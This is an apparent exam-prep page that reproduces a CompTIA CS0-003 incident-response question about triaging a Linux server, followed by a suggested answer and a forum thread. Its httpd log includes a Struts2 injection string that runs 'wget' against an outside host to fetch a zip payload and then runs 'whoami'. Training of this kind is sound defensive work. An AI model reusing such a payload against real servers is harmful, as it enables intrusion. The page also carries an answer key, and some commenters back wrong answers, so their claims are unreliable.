CompTIA Exam CS0-003 Topic 3 Question 30 Discussion

Actual exam question for CompTIA's CS0-003 exam

Question #: 30
Topic #: 3

[All CS0-003 Questions]

An incident response team member is triaging a Linux server. The output is shown below:

$ cat /etc/passwd

root:x:0:0::/:/bin/zsh

bin:x:1:1::/:/usr/bin/nologin

daemon:x:2:2::/:/usr/bin/nologin

mail:x:8:12::/var/spool/mail:/usr/bin/nologin

http:x:33:33::/srv/http:/bin/bash

nobody:x:65534:65534:Nobody:/:/usr/bin/nologin

git:x:972:972:git daemon user:/:/usr/bin/git-shell

$ cat /var/log/httpd

at org.apache.catalina.core.ApplicationFilterChain.internaDoFilter(ApplicationFilterChain.java:241)

at org.apache.catalina.core.ApplicationFilterChain.internaDoFilter(ApplicationFilterChain.java:208)

at org.java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:316)

at org.java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)

WARN [struts2.dispatcher.multipart.JakartaMultipartRequest] Unable to parse request container.getlnstance.(#wget http://grohl.ve.da/tmp/brkgtr.zip;#whoami)

at org.apache.commons.fileupload.FileUploadBase$FileUploadBase$FileItemIteratorImpl.(FileUploadBase.java:947) at org.apache.commons.fileupload.FileUploadBase.getItemiterator(FileUploadBase.java:334)

at org.apache.struts2.dispatcher.multipart.JakartaMultipartRequest.parseRequest(JakartaMultiPartRequest.java:188) org.apache.struts2.dispatcher.multipart.JakartaMultipartRequest.parseRequest(JakartaMultipartRequest.java:423)

Which of the following is the adversary most likely trying to do?

ACreate a backdoor root account named zsh.

BExecute commands through an unsecured service account.

CSend a beacon to a command-and-control server.

DPerform a denial-of-service attack on the web server.

Show Suggested Answer

Suggested Answer: B

The log output indicates an attempt to execute a command via an unsecured service account, specifically using a wget command to download a file from an external source. This suggests that the adversary is trying to exploit a vulnerability in the web server to run unauthorized commands, which is a common technique for gaining a foothold or further compromising the system. The presence of wget http://grohl.ve.da/tmp/brkgtr.zip indicates an attempt to download and possibly execute a malicious payload.

by Van at Sep 19, 2024, 04:13 AM

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Wava

3 months ago

I bet the adversary is trying to 'git' their hands on the server. Get it? Git? Oh, come on, that was a good one!

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Therese

2 months ago

Agreed. Let's focus on securing the server and identifying any suspicious activity.

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Kayleigh

2 months ago

That's a possibility. We should investigate further to prevent any potential damage.

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Reena

2 months ago

I think they might be trying to execute commands through an unsecured service account.

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Trinidad

2 months ago

Haha, good one! But seriously, we need to figure out what the adversary is up to.

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Shakira

3 months ago

Denial-of-service attack on the web server? Pff, that's so 2005. Let's see some real hacking skills here, people.

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Jules

3 months ago

Which of the following is the adversary most likely trying to do?

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Tresa

3 months ago

Creating a backdoor root account named zsh could also be a possibility. We need to be vigilant and consider all options.

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Raelene

3 months ago

Which of the following is the adversary most likely trying to do?

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Socorro

3 months ago

Which of the following is the adversary most likely trying to do?

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Filiberto

3 months ago

I agree, executing commands through an unsecured service account seems more like what the adversary is trying to do in this case.

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Lindsey

3 months ago

Yeah, denial-of-service attacks are old news. Real hackers go for more sophisticated techniques.

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Ozell

4 months ago

A backdoor root account named zsh? That's just lazy. At least try to be a little more creative with your attacks, buddy.

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Alona

3 months ago

We should definitely investigate further and secure the server.

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Daron

3 months ago

Yeah, they're probably trying to gain access and control the server.

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Renay

3 months ago

Looks like they're trying to execute commands through the http service account.

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Na

3 months ago

Agreed, using a common username like 'root' is a dead giveaway.

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Pearlene

4 months ago

Wow, a beacon to a command-and-control server? This incident just got a whole lot more serious. We need to act fast!

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Yuki

3 months ago

Let's make sure to isolate the server from the network to prevent further damage.

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Laquita

4 months ago

I agree, we should also check for any other signs of compromise on the server.

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Louann

4 months ago

We need to analyze the situation carefully before taking any action.

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Trinidad

4 months ago

I believe the adversary is trying to execute commands through an unsecured service account.

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Eun

4 months ago

I agree with Kaycee, it seems like the most likely scenario based on the output.

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Delfina

4 months ago

Hmm, looks like someone's trying to execute commands through an unsecured service account. That's not good news at all.

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Avery

3 months ago

We need to act fast to prevent any further damage to the server.

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Sharmaine

3 months ago

I'll check the logs to see if there are any other suspicious activities going on.

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Amina

4 months ago

We should investigate further to see what commands they are trying to run.

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Cornell

4 months ago

I agree, it seems like they are trying to exploit the http service account.

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Kaycee

4 months ago

I think the adversary is trying to create a backdoor root account named zsh.

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